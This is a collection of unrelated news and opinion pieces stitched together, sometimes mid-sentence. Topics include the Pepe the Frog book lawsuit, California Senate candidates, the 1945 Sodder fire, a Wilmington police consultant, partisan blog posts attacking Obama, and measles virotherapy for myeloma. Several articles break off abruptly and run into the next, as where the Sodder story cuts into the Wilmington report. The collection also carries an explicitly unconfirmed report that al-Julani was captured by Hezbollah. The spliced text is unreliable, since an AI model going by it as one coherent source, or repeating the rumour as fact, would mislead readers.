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PinterestPepe the Frog creator forces withdrawal of 'alt-right' children's book, profits sent to Muslim advocacy group
Updated
The cartoonist behind the Pepe the Frog meme cartoon has taken legal action to force a self-published children's book that uses the character to promote anti-Islamic themes to give all of the profits to a Muslim advocacy organisation.
Key points: Pepe the Frog author has stopped distribution of children's book The Adventures Of Pepe And Pede
Cartoon creator has been fighting to reclaim his cartoon as a "universal symbol of peace" from alt-right adaptations
Cartoonist insists he does not want money made by peddling hateful themes to children
Matt Furie created the Pepe cartoon in 2006, and the likeness became a popular canvas for benevolent internet memes.
But the user-generated mutations became increasingly hateful and ubiquitous more than a year before the 2016 US presidential election.
Furie's lawyers have now successfully stopped the distribution of a children's book entitled The Adventures of Pepe and Pede.
According to the Washington Post, in the book written by Eric Hauser — a former assistant principal at a Texas school — Pepe and his friend Centipede (a term referring to Donald Trump supporters) battle an alligator named "Alkah" to "bring freedom to Wishington Farm".
The law firm representing Furie said the book "espoused racist, Islamophobic and hate-filled themes, included allusions to the alt-right movement and was deliberately targeted at children".
"Under US copyright law, Furie is entitled to all of the profits that Hauser made by selling his infringing book. Instead, per the agreement — and at Furie's insistence — Hauser will be required to give all of his profits to the Council on American-Islamic Relations, the nation's largest Muslim civil rights and advocacy organisation," it said.
The law firm said Furie did not want money made by peddling hateful themes to children.
"Furie wants one thing to be clear: Pepe the Frog does not belong to the alt-right," the firm told Vice Media's Motherboard website.
"As this action shows, Furie will aggressively enforce his intellectual property, using legal action if necessary, to end the misappropriation of Pepe the Frog.
"He will make sure that no one profits by using Pepe in alt-right propaganda — and particularly not by targeting children."
Pepe came back from the dead after author killed him off
Earlier this year, Furie killed off the character in a rebuke to far-right extremists who had turned Pepe into a racist, anti-Semitic symbol, releasing a cartoon of Pepe in an open casket.
Furie was horrified to see his creation become a mascot for the 'alt-right' fringe movement, a loosely connected mix of white nationalists, neo-Nazis and other right-wing extremists.
"It all just happened so fast," he said.
"Make no mistake: They're basically the new [Ku Klux Klan]."
The Anti-Defamation League branded Pepe a hate symbol in September 2016 and promoted Furie's efforts to reclaim the character.
But a month later, Furie said he wanted to resurrect Pepe, with the Save Pepe campaign aiming to "[reclaim] his status as a universal symbol for peace, love, and acceptance".
Furie and his brother, Jason, launched a crowdfunding campaign to raise $US10,000 for a new comic book featuring Pepe, and that target has since been exceeded with more than $US34,000 raised.
ABC/AP
Topics: race-relations, community-and-society, islam, internet-culture, united-states
First postedThe touching story of a university student in Henan who has gone away to university but taken his paralyzed dad with him has been making young netizens across China feel somewhat unfilial in comparison.
According to People’s Daily, Zhao Delong suffered from polio when he was very young, but his parents fought to find treatment for him. After undergoing surgery, he was once again able to walk.
Unfortunately, his life took a sharp turn for the worse again shortly after being admitted into university. Soon after his dad fell ill and became paralyzed. His mother did not handle the situation well and fell into a deep depression.
To repay his dad’s love and kindness for when he was crippled as a child, he decided to take the old man with him to college.
Each day Zhao helps his dad wash his face, brush his teeth and comb his hair. He also cooks him meals and helps him with his exercises. The university has allocated the father and son a special dorm room due to their unique situation.
“My dad took care of me. Now that he’s ill, I can’t just leave him behind,” Zhao explains.
Now might be a good time to call dad.
By Lucy Liu
[Images va CCTV]
[AD] China Restaurant Week returns with top restaurants in top Chinese cities from Mar 3-13. BOOK NOW!In a conference call with fellow evangelicals earlier this week, Texas Gov. Rick Perry (R) shared his thoughts on the origins of the constitutionally mandated separation of church and state. Rather than tracing the idea to the nation’s founders, Perry warned of a more nefarious source: Satan.
“Satan runs across the world with his doubt and with his untruths and what have you and one of the untruths out there that is driven is that people of faith should not be involved in the public arena,” Perry said during the call on Tuesday, organized by the Rev. Rick Scarborough.Perry said the separation of religious and civic institutions in the U.S. began with a “narrative” that first took root in the 1960s.
“Somehow or another there’s this, ya know, steel wall, this iron curtain or whatever you want to call it between the church and people of faith and this separation of church and state is just false on its face,” the governor said. “We have a biblical responsibility to be involved in the public arena proclaiming God’s truth.”
The comments came amidst Scarborough’s preparations for his “40 Days to Save America” event, which will begin Sept. 28 and run through the election. According to the Dallas Morning News, Scarborough will be calling on his followers to pray and fast in order to enlist “God’s intervention” in the presidential race. The Texas pastor has long maintained a focus on national politics, making waves in 2009 for attempting to end the “[s]exual anarchy led by sodomites,” and was a member of Mike Huckabee’s now-defunct Faith and Family Values Coalition.
Likewise, Perry has frequently invoked religion when his state has faced struggles. His prayer rally in August 2011, titled “The Response,” was said to be open to any and all religions, but featured, as the Houston Chronicle described, mostly “fervent fundamentalist Christians.”
While Perry’s strident religious views may have helped play a role in his failure to capture the 2012 GOP nomination, he’s shown no sign of forgoing those beliefs when critiquing the president.
“You think about this spiritual warfare that’s going on and … going strong as President Obama and his cronies in Washington continue their efforts to remove any trace of religion from American life,” Perry said on the call. “And it falls on us, I mean, we truly are Christian warriors, Christian soldiers, and for us as Americans to stand our ground and to firmly send a message to Washington that our nation is about more than just some secular laws.”
Listen to the entire 13-minute conference call here.
(h/t Right Wing Watch)Six of California's 34 US Senate candidates. Composite image by author
The primary elections in California on June 7 will, mercifully, be the final showdown of a torrid, endless presidential nominating season. But with Donald Trump already triumphant and Hillary Clinton virtually guaranteed to lock up the race on the Democratic side, the results appear to be a forgone conclusion.
Down the ballot, however, the battle for California's soon-to-be vacant US Senate seat is just heating up. California Democrat Barbara Boxer is not seeking reelection after a 30-year reign in the upper chamber, and a whopping 34 candidates are vying for two spots in the general election runoff this November. And with only a week to go before ballots are cast, a full one-third of likely California primary voters—and nearly half of Republicans—remain undecided, according to a recent poll.
At this point, California's Democratic Attorney General Kamala Harris continues to lead the race, although she faces an inter-party challenge from Muslim-fearing Orange County Congresswoman Loretta Sanchez and former banker Ron Unz on the Republican side. The remaining candidates run the gamut from single-issue cheerleaders to long-shots, lifers, political neophytes, straight white males, and more than the occasional quack.
For example, there's Cristina Grappo, who refers to herself as "President Cristina Grappo," and whose ballot bio boasts that she is "mainstream Facebook!" whatever that might mean. There's also Herb Peters, a 77-year-old fundamentalist Christian who identifies himself as an "Andrew Jackson Democrat," and Greg Conlon, a Republican octogenarian, who, during a secondary candidates' debate this month, declared in some kind of nativist Freudian slip that, "All illegals should be turned over to ISIS—I mean the INS."
And of course, there's our personal favorite, Ling Ling Shi, a mysterious candidate whose internet presence is limited to a YouTube video of her absolutely crushing the high notes in an operatic performance of the self-penned canticle "Amazing Love, Amazing Grace," and who, according to her ballot bio, is running to "challenge 10 giant chaos in economy and economy-related sectors."
For all their quirks, though, these also-rans intent on challenging the Democratic Machine offer a colorful glimpse into the often-overlooked underbelly of the American democratic process. Without PACs, speechwriters, or press secretaries, the lower echelons of the state's senatorial race have the grassiest of roots, and we think they should be celebrated for their efforts.
So VICE called up some of these quixotic political hopefuls to find out what they would say if they knew someone was finally listening.
US Senate candidate Tim Gildersleeve (middle) accompanied by two supporters. Photo via campaign website
Tim Gildersleeve, No Party Preference
A paratransit operator by profession, Gildersleeve, 55, is a devout Christian from San Jose who identifies politically as something called a "Christocrat." His website identifies him as pro-life and anti-gay marriage— but he also claims that he'll ignore those beliefs and vote with California's liberal majority if he finds himself in the US Senate.
VICE: You call yourself a Christocrat—what does that mean exactly?
Tim Gildersleeve: I view that as someone who recognizes Jesus Christ as rightful ruler of Planet Earth. I do believe he's gonna return and that one day he will rule, in some form, and bring peace to the planet.
If Jesus returns, would he run for president or just, like, assume control?
That's open to debate. I believe we'll enter into a time of real chaos, a time of crisis. When we look at our economic system, consumerism is a doomed-to-fail philosophy. We have a $19 trillion [national] debt, seventy percent consumer spending. This is unsustainable.
Plus, with ISIS, which I think we've dealt with wrong, we could see more of the San Bernardino situation happening in our country. It'll be a time of chaos, and then he will return, and what is discussed in Matthew 25, where he separates the sheep from the goats, will happen. There will be a judgment of evil. I'm glad I'm not the one making that decision, because I don't wanna judge people.
How do you think voters in California will respond to your stances on social issues, particularly against abortion and gay marriage?
In spite of what I want, I will go with what the voters want. Californians seem to like the current abortion laws. I'm not gonna work to change that. I might have my personal views, but I'm representing Californians. When I disagree with my boss, I still do what he says! I can't force people to be pro-life. I'm not going to try to. I state my view, but I'm there to represent the people.
Who will you be voting for in the presidential race?
In June, I'm voting for Bernie Sanders. He's very honest. In November, if it's Clinton and Trump, I will be voting for a third party, of which I don't know yet.
Photo via gailklightfoot.com
Gail Lightfoot, Libertarian Party
Lightfoot, 78, is a charter member of the Libertarian Party, and she has made a career out of running for office on the party's ticket. She and her husband also produce a weekly public-access television show in San Louis Obispo County that features various readings and musings on libertarian ideas, including a line-by-line reading of the US Constitution.
VICE: You've spent quite a bit of time seeking public office. What drove you to get involved in politics?
Gail Lightfoot: I got involved in politics with the Barry Goldwater campaign in 1964. I've been active in the Libertarian Party since 1980. I've run for Congress on three occasions, and then I ran for secretary of state. The first time I ran was '96. I was state chair of the Libertarian Party then. In between then, and up until now, I've been running for US Senate. But this year, with the open seat, that's why we have thirty-four candidates. There's a lot of competition.
What strikes you about the current election cycle? Is 2016 different than past years that you've run campaigns?
There's a huge percentage of Americans who realize that this system is broken. It was [US Republican Senator Joseph] McCarthy who said there's not a dime's difference between the two parties. Nowadays, there's not even a penny's worth. The American people are aware of that. If the voter's weren't completely unhappy with the Democrats and Republicans, they wouldn't be jumping on [the] Trump or Sanders bandwagons.
Who will you be voting for in the presidential race?
I vote Libertarian up and down the ballot.
Photo via Beitiks for US Senate campaign website
Mike Beitiks, No Party Preference
A 32-year-old Bay Area attorney and stay-at-home dad, Beitiks is running a single-issue campaign centered on the dangers of climate change—a problem he approaches with a doomsday-like gravity. As his website states, "ISIS. Immigration reform. The NSA. Gun control... None of them matter because we're all going to die."
VICE: Tell us a little about your campaign platform.
Mike Beitiks: The short answer is climate change. The long answer is that I'm running a single-issue campaign as an equal and opposite reaction to federal legislative inaction on climate change. The problem we're facing is not one of a lack of solutions, but a lack of political will. I just want to make sure that political will is adequately reflected in the candidate space.
Are we really going to die as soon as you say we will?Luxury hoon car seized by WA police to be auctioned, with funds going to road safety
Posted
A luxury car seized from a repeat hoon driver is being auctioned by the WA Government, with the funds going to the Road Trauma Trust Account.
Police applied to the Magistrates Court to permanently seize the car from a 22-year-old man from Port Hedland after his third hoon charge.
His car, a 2007 HSV Senator, is expected to fetch up to $35,000 when it goes to auction in two weeks.
The man was first convicted of reckless driving in 2009, 22 days after he obtained his licence, and the car he was driving at the time was impounded for a month.
In 2011, he was again convicted of reckless driving after an incident in a car park after nearly hitting two cyclists and his car was impounded for a second time.
He's had three chances and third strike and you're out, I'm afraid, in Western Australia. Liza Harvey, Police Minister
In March this year he was found guilty of driving at 182 kilometres per hour in a 110 kph zone and his car was impounded for three months due to the prior convictions.
Police then applied for the permanent confiscation.
WA Police Minister Liza Harvey said it was rare for cars that had been permanently confiscated to be auctioned because most were not roadworthy.
"This is a really strong message that we're sending out to the community in Western Australia," she said.
"Third hoon offence - you've got a really nice vehicle like the one behind me - we will sell it.
"We'll take it from you, we'll sell it and we'll use that money for road safety initiatives in Western Australia."
Ms Harvey said she had no sympathy for the man.
"I'm sure he's going to feel a little bit sick when he sees this on TV tonight but so be it," she said.
"He's had three chances and third strike and you're out, I'm afraid, in Western Australia."
Topics: road, law-crime-and-justice, charities, perth-6000The billboard maintained by the Sodder family with pictures of the five children believed to be missing
On Christmas Eve, December 24, 1945, a fire destroyed the Sodder home in Fayetteville, West Virginia, United States. At the time, it was occupied by George Sodder, his wife Jennie, and nine of their ten children. During the fire, George, Jennie, and four of the nine children escaped. The bodies of the other five children have never been found. The Sodders believed for the rest of their lives that the five missing children survived.[1]
The Sodders never rebuilt the house, instead converting the site into a memorial garden to their lost children. In the 1950s, as they came to doubt that the children had perished, they put up a billboard at the site along State Route 16 with pictures of the five, offering a reward for information that would bring closure to the case. It remained up until shortly after Jennie Sodder's death in 1989.[2]
In support of their belief that the children survived, the Sodders have pointed to a number of unusual circumstances before and during the fire. George disputed the fire department's finding that the blaze was electrical in origin, noting that he had recently had the house rewired and inspected. He and his wife suspected arson, leading to theories that the children had been taken by the Sicilian Mafia, perhaps in retaliation for George's outspoken criticism of Benito Mussolini and the Fascist government of his native Italy.
State and federal efforts to investigate the case further in the early 1950s yielded no new information. The family did, however, later receive what may have been a picture of one of the boys as an adult during the 1960s. Their one surviving daughter, along with their grandchildren, have continued to publicize the case in the 21st century in the media and online.
Background [ edit ]
George Sodder was born with the name Giorgio Soddu in Tula, Sardinia, Italy in 1895. He immigrated to the United States thirteen years later with an older brother, who went back home as soon as both he and George had cleared customs at Ellis Island. For the rest of his life George Sodder, as he came to be known, would not talk much about why he had left his homeland.[1]
Sodder eventually found work on the railroads in Pennsylvania, carrying water and other supplies to workers. After a few years he took more permanent work in Smithers, West Virginia, as a driver. After a few more years, he started his own trucking company, at first hauling fill dirt to construction sites and later hauling coal that was mined in the region. Jennie Cipriani, a storekeeper's daughter there, who had also come to the U.S. from Italy in her childhood, became his wife.[1]
The couple settled outside nearby Fayetteville, which had a large population of Italian immigrants, in a two-story timber frame house two miles (3.2 km) north of town.[3] In 1923, they had the first of their ten children. George's business prospered, and they became "one of the most respected middle-class families around" in the words of one local official. However, he had strong opinions about many subjects, and was not shy about expressing them, sometimes alienating people. In particular, his strident opposition to Italian dictator Benito Mussolini had led to some strong arguments with other members of the immigrant community.[1]
The last of the Sodder children, Sylvia, was born in 1943. By then, their second oldest son, Joe, had left home to serve in the military during World War II. The following year, Mussolini was deposed and executed. However, George Sodder's criticism of the late dictator had left some hard feelings. In October 1945,[4] a visiting life insurance salesman, after being rebuffed, warned George that his house "[would go] up in smoke... and your children are going to be destroyed." He attributed this all to "the dirty remarks you have been making about Mussolini." Another visitor to the house, ostensibly seeking work, took the occasion to go around to the back and warned George that a pair of fuse boxes would "cause a fire someday." George was puzzled by the observation, since he had just had the house rewired when an electric stove was installed,[5] and the local electric company had said afterwards it was safe. In the weeks before Christmas that year, his older sons had also noticed a strange car parked along the main highway through town, its occupants watching the younger Sodder children as they returned from school.[1]
Christmas Eve 1945 house fire [ edit ]
The Sodders celebrated on Christmas Eve 1945. Marion, the oldest daughter, had been working at a dime store in downtown Fayetteville, and she surprised three of her younger sisters—Martha, 12, Jennie, 8, and Betty, 5[6]—with new toys she had bought for them there as gifts. The younger children were so excited that they asked their mother if they could stay up past what would have been their usual bedtime.[6]
At 10:00 p.m., Jennie told them they could stay up a little later, as long as the two oldest boys who were still awake, 14-year-old Maurice and his 9-year-old brother Louis, remembered to put the cows in and feed the chickens before going to bed themselves. Her husband and the two oldest boys, John, 23 and George Jr., 16, who had spent the day working with their father, were already asleep. After reminding the children of those remaining chores, she took Sylvia, 2, upstairs with her and went to bed together[6]
The telephone rang at 12:30 a.m. Jennie woke and went downstairs to answer it. It was a woman whose voice she did not recognize, asking for a name she was not familiar with, with the sound of laughter and clinking glasses in the background. She told the caller she had reached a wrong number, later recalling the woman's "weird laugh". She hung up and returned to bed. As she did, she noticed that the lights were still on and the curtains were not drawn, two things the children normally attended to when they stayed up later than their parents.[5] Marion had fallen asleep on the living room couch, so Jennie assumed the other children who had stayed up later had gone back up to the attic where |
seven-month contract, residents have asked: Where is the report of his findings and guidelines?
No such report exists, The News Journal has learned.
"To date, Mr. Ramsey's advice has been delivered in verbal form," wrote Assistant City Solicitor Sanjay Bhatnagar in a response to a Freedom of Information Act request for "any and all reports or written guidelines" from Ramsey.
Police Chief Bobby Cummings did not ask Ramsey, a high-profile law enforcement expert, to produce any written reports or guidelines, Bhatnagar said, even though officials and Ramsey himself had committed to them.
Ramsey stated in a City Council public safety committee meeting last year that he would generate a report, a city recording shows.
"I am in close contact with the chief and provide him regular verbal feedback, but I will also put something together in writing," he said at the Feb. 8 meeting.
Cummings answered questions at that meeting regarding a report. He said there would be an "executive summary and/or any other recommendations the commissioner may come up with" at the end of Ramsey's contract term.
Loretta Walsh, chair of the Public Safety Committee, said she recalls Ramsey's promise. Walsh said council members should have been harder on him.
"We should’ve insisted that a written report be available," she said. "We just assumed. He’s a professional. He was renting himself out as a professional, and as a professional, he should’ve provided a written report (even if it wasn't required)."
The chief requested Ramsey advise on "an array of public safety matters," Bhatnagar said, including the review and formulation of the use-of-force policy to align with U.S. Department of Justice reforms, the use of data analysis for crime reductions, the 2015 Wilmington Public Safety Strategies Commission Final Report and the Targeted Analytical Policing System.
Cummings said last year Ramsey also would help the city implement recommendations of President Barack Obama's 21st Century Policing Task Force, of which Ramsey was a co-chair.
A year later, Wilmington is facing the most violent start to a year at least since The News Journal began keeping records in 2011. There have been 21 shooting incidents and eight homicides, quadruple the number of shootings and homicides at this time last year. Twenty-five people have been injured by gunfire since the new year.
City Councilman Bob Williams, a former police officer, said he doesn't believe Ramsey had any impact on public safety and the lack of a report is "highly unacceptable."
"If you’re making that much money looking for solutions to problems, you need to document something," Williams said. "I’m not satisfied with a verbal report that can’t be passed on to the new administration.... We got nothing to show for our money."
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Attempts to reach Ramsey were unsuccessful.
Former Mayor Dennis P. Williams said at the time of Ramsey's contract signing that Ramsey would not be required to write a formal report when his contract ended. Ramsey's contract, which was not put out to bid, doesn't require a report. Williams said the consultant's impact would be visible to residents through increased public safety.
“He is here to drive crime down,” said Williams, who has called Ramsey a "personal friend."
In February, Williams walked back the statement, saying that Ramsey would likely create a report, which may or may not be made public.
Alexandra Coppadge, then a mayoral spokeswoman, said at the time that the contract was "intentionally vague to allow the chief and Commissioner Ramsey to adjust the flexibility and issues as they may arise."
Buy Photo Charles Ramsey (right) addresses members of the Wilmington City Council in February 2016. On the left is Police Chief Bobby Cummings. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL)
A subcontractor, Ramsey's former deputy police commissioner in Philadelphia, Kevin Bethel, received $42,000 of Ramsey's $112,000 cut, according to the contract. A message left with Bethel was not returned.
Councilman Williams said Mayor Mike Purzycki's staff should try to document what was gleaned from Ramsey's input and continue the practice for future consultants.
"I would recommend that we have some kind of documented outcome, a desired outcome versus an actual outcome, and it has to be substantiated by reporting or statistics," he said.
The Purzycki administration has asked Cummings for information on Ramsey's input, said John Rago, the mayor's deputy chief of staff for policy and communications. Cummings did not immediately respond to a request for comment from The News Journal.
"Reports or at least written information is used to determine how well the consultant delivered on the original reason why you brought them into the city," Rago said. "It's a little difficult without a written report to determine if the money was worth it.... We’ll certainly make it a rule in this administration to ask that a report be filed if we choose to bring in consultants to advise us."
Last year, Ramsey also took roles at the Chicago Police Department as a senior adviser to guide civil rights reforms and at Drexel University as a Distinguished Visiting Fellow for the school’s Lindy Institute for Urban Innovation. This month, CNN announced Ramsey will be a contributor as a law enforcement analyst.
Councilman Williams said he believes the former mayor saw Ramsey as "a big-ticket name to hang on your re-election campaign."
"Once the election was over, and Dennis lost, we never heard about Ramsey again."
Contact Christina Jedra at (302) 324-2837, cjedra@delawareonline.com or on Twitter @ChristinaJedra.
Read or Share this story: http://delonline.us/2jUMoVLAl-Nusra Front leader Abu Mohammad al-Julani has been captured by Lebanese Hezbollah resistance movement, unconfirmed reports said Tuesday.
AhlulBayt News Agency - Al-Nusra Front leader Abu Mohammad al-Julani has been captured by Lebanese Hezbollah resistance movement, unconfirmed reports said Tuesday.
The news reports on al-Julani's captivity by Hezbollah comes while no authority in Lebanon or Syria has confirmed the report yet.
There is a very heavy traffic on the Twitter pages of tens of supporters of Hezbollah on the capture of al-Julani by Hezbollah.
The report comes as some sources claimed on Sunday that Hezbollah is trying to negotiate with Al-Nusra Front on swap of prisoners of war.
On Thursday, the Lebanese Army carried out a new assault against the Syrian Al-Qaeda group, al-Nusra Front, in the Lebanese Arsal region near Syrian border on Thursday, killing a large number of terrorists during the operation.
According to a Lebanese Army statement, the operation was concentrated on al-Nusra Front's positions near the Jaroud-Rankous crossing on Lebanese- Syrian border.
The Lebanese Army has recently stepped up its military operations along the Syrian border crossing as part of the army's new move to halt the spread of militants and weapons into Lebanon, and according to local officials the attempts have proved as effective and produced successful results.
/129He further stated that passage of his immigration reform bill would solve the border crisis for 20 years.
At a press conference last night, President Obama placed the blame for the border crisis on Republicans, saying that because they are trying to block his $3.8 billion supplemental appropriation, they are responsible for the mess.
Daily Caller:
The Republican Party, but not the White House, has the power to block the flood of at least 100,000 migrants from Central America, President Barack Obama repeatedly told the nation in a Wednesday night press conference. “Are folks more interested in politics, or are they more interested in solving the problem? … If the preference is for politics, then it won’t be solved,” said the nation’s Commander in Chief, whose administration spends roughly $18 billion each year on border security and immigration agencies. “The challenge is, is Congress prepared to act to put the resources in place to get this done?” he said, after meeting in Dallas, Texas, with state politicians and Democratic-affiliated non-profits. “If the [GOP majority] Texas delegation is prepared to move, this thing can be done next week,” he said about his July 8 request for $3.8 billion in extra funding. “There’s a very simple question here, and that is Congress just needs to pass the supplemental,” said Obama, who is facing growing public criticism over his immigration policies, only a few months before the November election.
There is not one dime in that bill earmarked for repatriating the illegal alien children already here. And beefing up enforcement is useless. As soon as the illegal kids get ofver the border they are turning themselves in. All that bill is going to do is make the kids more comfortable.
Obama even used his crisis to try to revive the Senate’s unpopular and defunct “Comprehensive Immigration Reform” bill, which would have doubled legal immigration up to roughly 30 million over the next 10 years. Passage of the bill “solves [the border crisis] potentially for 20 years,” he claimed.
Is the president ready for a padded room? It's frightening to think that he actually believes that. The reality is, he's just making stuff up. Where did that "20 years" figure come from? Right off the top of his head.
But this week, after vigorous protess by Latino lobbies and progressives, Obama dropped plans to ask Congress to combine the supplemental budget request with a change in the law that would allow officials to repatriate youths before they could get into a courtroom. At the press conference, however, Obama fudged the issue. He suggested that extra funds would help close that 2008 loophole., saying that “part of what we’re looking in the supplemental is some flexibility in terms of being able to preserve the due process rights of individuals who come in, but also to make sure that we’re sending a strong signal that they can’t simply show up at the border and automatically assume that they’re going to be absorbed.” Reporters did not ask him how extra funds could give officials extra legal authority to repatriate border-crossers before they can ask a judge for residency.
That's another remarkable aspect to the president's gross lies. The press is colluding in the falsehoods. Are we seriously to believe that it never occurred to any of the media present to ask the painfully obvious question asked by Neil Munro in his Daily Caller article? How would the extra funds translate into extra authority to deport the illegals?
Sheesh.
There may have been nothing Obama said that was true in that entire press conference. He apparently thinks that anything that comes out of his mouth is the gospel truth and that everyone believes him. But he can't evade his responsibility for the crisis on our border, even with his twisted version of the truth.Barack Obama, in a column for the Los Angeles Times, tries to explain his position regarding the “threat” facing the United States, mentioning al Qaeda, ISIL, the massacres at Fort Hood and the Boston Marathon, but in the process, reveals his Marxist leanings, his refusal to acknowledge the religious nature of the threat, his belief in the racism of the United States against Muslims, and ironically, his agreement with George W. Bush that regime change is the answer to the global threat.
Obama begins with his usual self-puffery: “The United States has made significant gains against terrorism. We've decimated the core al Qaeda leadership, strengthened homeland security and worked to prevent another large-scale attack like 9/11.”
But facts, as they say, are stubborn things, so Obama immediately segues to reality: “At the same time, the threat has evolved.” He lists terrorists’ actions around the globe, and naturally avoids naming the common thread:
The al Qaeda affiliate in Yemen actively plots against us. Since 9/11, terrorists have murdered U.S. citizens overseas, including in the attacks in Benghazi, Libya. Here in the United States, Americans have been killed at Ft. Hood and during the Boston Marathon. In Syria and Iraq, the terrorist group we call ISIL has slaughtered innocent civilians and murdered hostages, including Americans, and has spread its barbarism to Libya with the murder of Egyptian Christians. In recent months, we've seen deadly attacks in Ottawa, Sydney, Paris and Copenhagen. Elsewhere, the Pakistan Taliban massacred more than 100 schoolchildren and their teachers. From Somalia, al-Shabaab has launched attacks across East Africa. In Nigeria and neighboring countries, Boko Haram kills and kidnaps men, women and children.
Not a whisper of the one commonality of the murderers. Instead, he writes, “Groups like al Qaeda and ISIL promote a twisted interpretation of religion that is rejected by the overwhelming majority of the world's Muslims.”
Marching forward to agree with Bush: “Governments that deny human rights play into the hands of extremists who claim that violence is the only way to achieve change. Efforts to counter violent extremism will only succeed if citizens can address legitimate grievances through the democratic process and express themselves through strong civil societies.”
And leaping ahead with his Marxist explanation for the violence: “Those efforts must be matched by economic, educational and entrepreneurial development so people have hope for a life of dignity.” Yup, jobs will solve the problem.
How about American racism toward Muslims? He writes that we don’t know what motivated the killings at UNC of three Muslims, but ascribes it to racism anyway: “… all of us have a role to play by upholding the pluralistic values that define us as Americans … That pluralism has at times been threatened by hateful ideologies and individuals from various religions … We do not yet know why three young people, who were Muslim Americans, were brutally killed in Chapel Hill, N.C. But we know that many Muslim Americans across our country are worried and afraid.”
Because Obama believes that the cauldron producing the terrorist threat can be emptied of its fury simply by talking, he concludes: “With this week's summit, we'll show once more that — unlike terrorists who only offer misery and death — it is our free societies and diverse communities that offer the true path to opportunity, justice and dignity.”The Tea Party has gone dry.
Once the talk of the nation and a well-supported positive force in politics, membership has dropped as has their approval rating, according to a new Rasmussen Reports poll.
Rasmussen found:
-- Just 8 percent of likely voters say they are Tea Party members, down from 24 percent in 2010.
-- Some 30 percent have a favorable view of the Tea Party, down from 51 perent in 2009.
-- 56 percent said it has become less influential.
From Rasmussen:
Views of the Tea Party movement are at their lowest point ever, with voters for the first time evenly divided when asked to match the views of the average Tea Party member against those of the average member of Congress. Only eight percent (8%) now say they are members of the Tea Party, down from a high of 24% in April 2010 just after passage of the national health care law.
A new Rasmussen Reports national telephone survey finds that only 30% of Likely U.S. Voters now have a favorable opinion of the Tea Party. Half (49%) of voters have an unfavorable view of the movement. Twenty-one percent (21%) are undecided. (To see survey question wording, click here.)
In April 2009 when the Tea Party protests against President Obama's spending policies first erupted, 51% of Americans held a favorable opinion of the movement. However, just 35% felt that way by last July.
Only 34% of voters now believe the Tea Party movement is good for the country, down from 49% in April 2011. Slightly more (40%) think the Tea Party is bad for the country, while 17% say neither.
A majority (56%) of voters agrees that the Tea Party movement has become less influential over the past year. Just 21% feel it has become more influential, although even more (23%) are not sure.Who Profits released the following report on the involvement of Israeli and multinational corporations in the Israeli prison system:
On December 2013, the Israel Prison Service (IPS) responded to a freedom of information request by Who Profits, which was submitted three months earlier, regarding twenty-two corporations that provide services to Israeli prisons.
These companies mainly provide security equipment and services to incarceration facilities that hold Palestinian prisoners and detainees inside Israel and in the occupied West Bank. These incarceration facilities hold Palestinian political prisoners in violation of international law, and torture and systematic violations of human rights take place within their walls. According to Addameer’s latest monthly detention report (December 2013), there are 5033 Palestinian political prisoners in the Israeli prisons, 173 of whom are minors and 145 are administrative detainees.
The following table is an English translation of information provided by the Israel Prison Service to Who Profits, regarding twenty-two corporations that provide services to Israeli prisons and detention facilities.
Company Name Characteristics of Contract End of Contract Comments Financial Scope G4S Maintaining supporting management systems, magnetometer gates, scanning machines and ankle monitors During the fiscal year 2015 According to an IPS tender Tens of millions of shekels 3M Based on occasional bids MOTOROLA SOLUTIONS ISRAEL Maintaining wireless systems and lighting bridges Repairing wireless devices During the fiscal year 2016 According to an IPS tender Tens of millions of shekels HEWLETT- PACKARD (HP) Printers Maintaining HP systems and central servers During the fiscal year 2016 Tenders by the Accountant General + tenders by the IPS Tens of millions of shekels MERKAVIM TRANSPORTATION TECHNOLOGIES Based on occasional bids MAYER’S CARS AND TRUCKS Based on occasional bids VOLVO GROUP Based on occasional bids Biosense Supplying and maintaining a dog-bark identification system During the fiscal year 2014 According to an IPS tender Hundreds of thousands of shekels Myform Based on occasional bids MIRS COMMUNICATIONS Purchase of battery services Providing wireless services During the fiscal year 2016 Tenders by the Accountant General + Tenders by the IPS Hundreds of thousands of shekels AFCON HOLDINGS Installing, providing year-round service and maintaining fire detection systems During the fiscal year 2015 According to an IPS tender Tens of millions of shekels Contact Based on occasional bids SHAMRAD ELECTRONICS Relocating communication infrastructureSupplying electronic equipment Repairing sound system During the fiscal year 2015 According to an IPS tender Tens of millions of shekels B.G. ILANIT GATES AND URBAN ELEMENTS Based on occasional bids Dadash Hadarom Distribution Purchase of canteen products 31/07/14 According to a tender Shekem Based on occasional bids Shiran Based on occasional bids S.I.R.N. Based on occasional bids Shekel Based on occasional bids ASHTROM GROUP Based on occasional bids Lymtech Based on occasional bids
Who Profits also provides documentation and research on several of these companies at the links below:
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EmailIn what they describe as a proof of principle study, doctors in the US were able to keep a woman with deadly multiple myeloma - an incurable bone marrow cancer - free of all signs of living cancer cells for over 6 months by giving her just one high dose of measles virus.
Two patients received a single intravenous dose of measles virus that was engineered to kill myeloma plasma cells and not harm other cells.
The team, from the Mayo Clinic in Rochester, MN, says both patients responded to the treatment, showing reduced bone marrow cancer and levels of myeloma protein.
But one patient, a 49-year-old woman, experienced complete remission and remained disease-free for over 6 months.
A report on this first study to establish the feasibility of the treatment appears in the journal Mayo Clinic Proceedings.
Proof virotherapy works for disseminated cancer
First author Dr. Stephen Russell, hematologist and co-developer of the therapy, says:
"This is the first study to establish the feasibility of systemic oncolytic virotherapy for disseminated cancer. These patients were not responsive to other therapies and had experienced several recurrences of their disease."
The treatment is an example of oncolytic virotherapy - using engineered viruses to fight cancer - an approach that dates back to the 1950s. Thousands of patients have received this type of therapy, using oncolytic viruses from various families, including common cold viruses, herpes viruses and pox viruses.
But the authors say this is the first well-documented case of a patient with cancer that has spread experiencing complete remission at all disease sites after receiving oncolytic virus therapy.
The video below details the patient's treatment and remission:
Myeloma is a cancer that develops in plasma cells - a type of blood cell made in the bone marrow. According to the American Cancer Society, the disease is relatively uncommon, and in the US, there is a 1 in 149 risk of developing it.
Myeloma can arise in any part of the body where there is bone marrow, including the spine, rib cage and pelvis. Multiple myeloma means it is occurring in more than one place.
The disease, which also causes skeletal or soft tissue tumors, usually responds to drugs that stimulate the immune system, but it eventually overcomes them and is rarely cured.
First use of highest possible dose of engineered measles virus
Dr. Russell and colleagues explain in their article that they chose to report these two cases in particular because they were the first patients they had studied who had received the highest possible dose, and with limited previous exposure to measles, so their immune systems did not have many antibodies to the virus. They had also exhausted other treatment options.
Senior author Dr. Angela Dispenzieri, an expert in multiple myeloma, says in very simple terms, the measles virus makes the cancer cells join together and explode. The treatment also appears to trigger another lasting benefit:
